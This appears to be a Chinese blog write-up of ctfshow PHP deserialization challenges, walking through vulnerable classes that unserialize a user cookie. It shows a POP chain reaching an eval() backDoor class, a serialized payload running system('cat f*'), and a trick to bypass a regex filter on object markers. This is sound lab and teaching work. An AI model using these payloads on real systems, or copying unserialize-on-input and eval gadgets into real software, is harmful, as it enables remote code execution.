主要是考察能不能看懂这个类,跟反序列化没关系
payload:/?username=xxxxxx&password=xxxxxx
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx'; //这里定义了属性值
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){ //这句判断是解题关键$this->username就是xxxxxx
//而$u就是下面GET传入的username
if($this->username===$u&&$this->password===$p){
$this->isVip=true; //满足条件后isVip就为真,然后一直顺利走下去了
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser(); //实例化类
if($user->login($username,$password)){ //login方法调用传入的变量
if($user->checkVip()){ //判断为真进行下一步
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
web255
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){ //相较于上题,判断成功后$isVip也不为true
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']); //反序列化cookie传入的user
//这里需要的是实例化这个$user
if($user->login($username,$password)){ //所以我们构造序列化后的语句并传入cookie来实现
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
由于需要序列化的操作,自己搞个php文件copy代码修改,执行来获得自己想要的东西
我们需要 $user= new ctfShowUser();
也就是 new ctfShowUser() 序列化后的字符串,这里还需要url编码
echo urlencode(serialize(new ctfShowUser()));
这样就成了
相较于上题,只有这里是不同的,所以只需弄明白怎么绕过这里就可了
很简单,就是让username不等于password,
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
将username 和 password 的值改变了,再去序列化构造 payload
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info(); //这里可以让$this->class表示info()实例化
自然也可以实例化 backDoor()
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code); //解题关键
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
摘抄羽师傅的:
大致浏览下代码会发现我们可以利用的函数eval,要想调用eval就得使用backDoor类中的getinfo。 然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。 反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
也是在上一题的基础上加强了判断,正则过滤,不能出现 O : 数字
解释:
[oc] --> 匹配内部某个字符
\d --> 匹配数字
+ --> 匹配至少一个
O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:17:"system("cat f*");";}}
也就是过滤了序列化字符串的一种标识,用 +数字 替代 数字
自己构造:
有点难啊
从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客
web260
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?